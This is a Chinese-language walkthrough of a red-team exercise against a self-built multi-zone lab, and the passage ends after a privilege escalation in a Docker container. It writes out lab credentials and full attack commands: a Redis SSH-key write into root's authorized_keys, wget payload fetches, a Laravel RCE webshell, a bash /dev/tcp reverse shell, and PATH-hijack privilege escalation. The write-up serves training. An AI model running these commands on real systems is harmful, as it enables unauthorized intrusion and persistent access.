本次多层网络域渗透项目旨在模拟红队攻击人员在授权情况下对目标进行渗透,从外网打点到内网横向穿透,最终获得整个内网权限的过程,包含Laravel Debug mode RCE(CVE-2021-3129)漏洞利用,Docker逃逸,Redis未授权访问漏洞,SSH密钥利用,非约束委派和约束委派,NTLM中继攻击,SMB Relay攻击,哈希传递,黄金票据和白银票据,CVE-2020-1472提权等等。
文中若有不当之处,还望各位大佬多多点评。
请注意:
本文仅用于技术讨论与研究,对于所有笔记中复现的这些终端或者服务器,都是自行搭建的环境进行渗透的。我将使用Kali Linux作为此次学习的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,本站及作者概不负责。
环境配置
网络拓扑图
整个环境共五台机器,分别处于三层内网环境中。网络拓扑图如下,整个靶场设计模拟真实网络环境中的情况,分别划分了DMZ区,生产区和核心区,不同区域间通过网段划分进行隔离。
DMZ区IP段为192.168.52.1/24
DMZ区的靶机拥有两个网卡,一个用来对外提供服务,一个用来连通第二次网络。
生产区IP段为192.168.52.1/24
第二层网络的靶机同样有两个网卡,一个连通第二层网络,一个连通第三层网络
w核心区IP段为192.168.93.1/24
第三层网络的靶机只有一张网卡,连通第三层网络,包含域控机器与域内服务器
机器 | 对应IP | 区域 | 服务器作用 |
---|---|---|---|
Ubuntu 64 位 (Web 1) ubuntu: web2021 | 172.23.2.67 192.168.52.10 | DMZ区 边界突破机 | redis、Nginx反代理服务器 |
Ubuntu 64 位 (Web 2) ubuntu: ubuntu | 192.168.52.20 192.168.93.10 | 生产区(二层网络) | web服务器 |
win7(pc1) bunny:Bunny2021 | 192.168.93.20 192.168.52.30 | 生产区(二层网络) | OA |
win7(pc2) moretz:Moretz2021 | 192.168.93.40 | 核心区(三层网络) | 域成员 |
windows server 2012 | 192.168.93.30 | 核心区(三层网络) | 域控 |
由于网络环境问题,测试过程中部分ip可能会发生变化。
靶机信息
域用户账户和密码如下:
Administrator:Whoami2021
whoami:Whoami2021
bunny:Bunny2021
moretz:Moretz2021
Ubuntu 1:
web:web2021
Ubuntu 2:
ubuntu:ubuntu
通达OA账户:
admin:admin657260
涉及的知识点
端口扫描、端口服务识别、漏洞探测利用、Laravel Debug mode RCE(CVE-2021-3129)漏洞利用、Docker逃逸、通达OAv11.3漏洞利用、Linux环境变量提权、Redis未授权访问漏洞、Linux sudo权限提升(CVE-2021-3156)漏洞利用、MS14-068漏洞利用、路由转发与代理、多层隧道代理、内网信息收集、NTLM与SMB Relay攻击、Psexec远控、哈希传递(PTH)、黄金票据、白银票据
攻击过程
信息收集
我们现在开始对目标的攻击,我们首先对入口机web服务器进行渗透测试,寻找突破口,对172.23.2.67进行全端口扫描,扫描后发现存在四个端口
80端口
81端口开了Laravel
接下来还剩下两个服务 22、6379。22端口爆破动静会很大,可以放到后面无计可施的时候再去尝试,先测试一下6379端口,因为这个一旦攻击成功即可获取root权限。Web攻击获取的有可能是低权限,而且也可能会遇到一些waf之类的防护等不确定因素。因此我们先尝试redis未授权漏洞。
Redis 未授权访问
redis-cli -h 192.168.52.10
测试成功,发现存在redis未授权漏洞
现在我们退出redis,回到kali中,利用redis未授权漏洞写入公钥私钥。
首先在攻击机上创建/root/.sh 目录用于保存我们的公钥和私钥
ssh-keygen -t rsa
第一行输入id_rsa,密码设置为空,直接回车
(echo -e "\n\n";cat id_rsa.pub; echo -e "\n\n") > key.txt
通过redis将key写入到服务器中
cat key.txt | redis-cli -h 192.168.52.10 -x set hack
连接目标主机的redis
redis-cli -h 192.168.52.10
设置redis的备份路径为/root/.ssh和保存文件名authorized_keys
config set dir /root/.ssh
//设置redis的备份路径为/root/.ssh
config set dbfilename authorized_keys
//设置上传公钥的备份文件名为autorized_keys
将数据保存
save
quit
ssh -i id_rsa root@192.168.52.10
写入成功即可直接ssh登录到服务器上。
内网信息收集
获取到一台机器的控制权限后,我们查看当前网络情况,第一个是我们外网的入口机器地址,第二个是我们内网地址。
现在我们已经拿到了root权限,并且机器是可以出网的。
netstat -pantule
可见貌似机器上只有22、80、81、6379端口对我们来说有价值一些,我们尝试进一步信息收集,去找到一些有用的信息。
发现机器上有一个www站点,但是只有一个静态网址,没什么可利用的价值。
现在寻找一下81端口的绝对路径文件
sudo netstat -tuln | grep ':81'
ps -p 788 -o cmd
这里貌似是执行了这行命令,没有找到绝对配置文件,我们可以应该进一步去查看nginx的配置文件。
nginx的配置文件一般都在 /etc/nginx/nginx.conf或者/etc/nginx/conf/nginx.conf 位置
由此可见,他的80端口和81端口的网站都是来自于服务器,那么我们拿到的这台服务器应该是角色可以断定,是Nginx反代理服务器,那么我们的下一步的攻击思路就是,攻击内网192.168.52.20的web服务。
使用命令查看ARP缓存表
总结:
1、服务器角色:Nginx反代理服务器
2、内网地址:192.168.52.10
3、入口机 可出网
小结:下一步就是搭建一个隧道,其次针对我们从配置文件得知的Nginx反代理服务器上获取的内网地址,来扫描这个C段
内网隧道穿透---一层
由于靶场是模拟实战环境,我们搭建一个frp隧道,因为这里不管是出网还是不出网,其实我们都是要搭建隧道的,判断出不出网,只是用来判断,我们要利用什么样的协议去进行搭建隧道而已。上传的利用文件均放在tmp目录下。
frps端
frpc端
上传客户端到kali上的tmp中,用python开启一个http服务
python -m http.server
wget http://192.168.52.129:8000/frpc.ini.
wget http://192.168.52.129:8000/frpc.
运行frpc时报错,应该是frp版本有问题了,尝试更换frp版本
./frpc -c a.txt
再次运行
./frpc -c a.txt
代理隧道已经搭建成功,利用kali的proxychains4进行代理配置
隧道已经搭建成功。此时我们使用工具进行内网探测
Laravel-CVE-2021-3129漏洞利用
访问链接可见Laravel版本号,根据fscan扫描结果得知,该版本存在漏洞,那么我们尝试使用对应的exp进行深入利用。
工具:https://github.com/SecPros-Team/laravel-CVE-2021-3129-EXP
webshell地址:http://192.168.52.20:8000/fuckyou.php
密码:pass
这里我们连接shell,攻击成功。执行ifconfig之后发现没有回显,初次判断是权限太小。
继续信息收集
这里很多docker字样,由此判断我们在docker容器中
Hostname
cat /proc/1/cgroup
目前的情况是得知目前获取的机器权限是docker,但是我们的权限过于低级,什么事情都干不了,于是乎我们尝试提权。在提权之前,我们先对系统信息收集一下
深度信息收集
在tmp目录上传信息收集脚本,对机器进行信息收集
反弹shell
反弹到入口机的shell
bash -c 'exec bash -i &>/dev/tcp/192.168.52.10/1236<&1'
上传信息收集脚本,赋予权限并且运行。
chmod +x linpeas.sh
/tmp/linpeas.sh
发现可能存在的提权漏洞,我们使用exp尝试进行提权。
pkexec 本地提权内核提权-CVE-2021-4034
尝试使用2021年的提权神器,内核提权-CVE-2021-4034-pkexec 进行本地提权
可惜尝试失败了,我们尝试其他的提权方式。
脏牛提权
上传脏牛脚本,尝试用脏牛提权
gcc -pthread dirty.c -o dirty -lcrypt
运行脏牛提权
./dirty
这个提权也是失败的
现在内核提权无法使用,那就只能用信息收集脚本来找具有SUID或4000权限的文件了
环境变量提权
回头看信息收集的文件的时候发现其中:
这里我们运行一下这个shell文件,发现好像是执行了ps命令,并且未使用绝对路径,所以我们可以尝试更改$PATH来执行我们的恶意程序,从而获得目标主机的高权限shell。
cd /tmp;echo "/bin/bash" > ps
chmod 777 ps;echo $PATH
export PATH=/tmp:$PATH # 将/tmp添加到环境变量中,并且先加载执行/tmp里的程序
cd /home/jobs
./shell
# 此时我们获得了root权限,可以执行命令了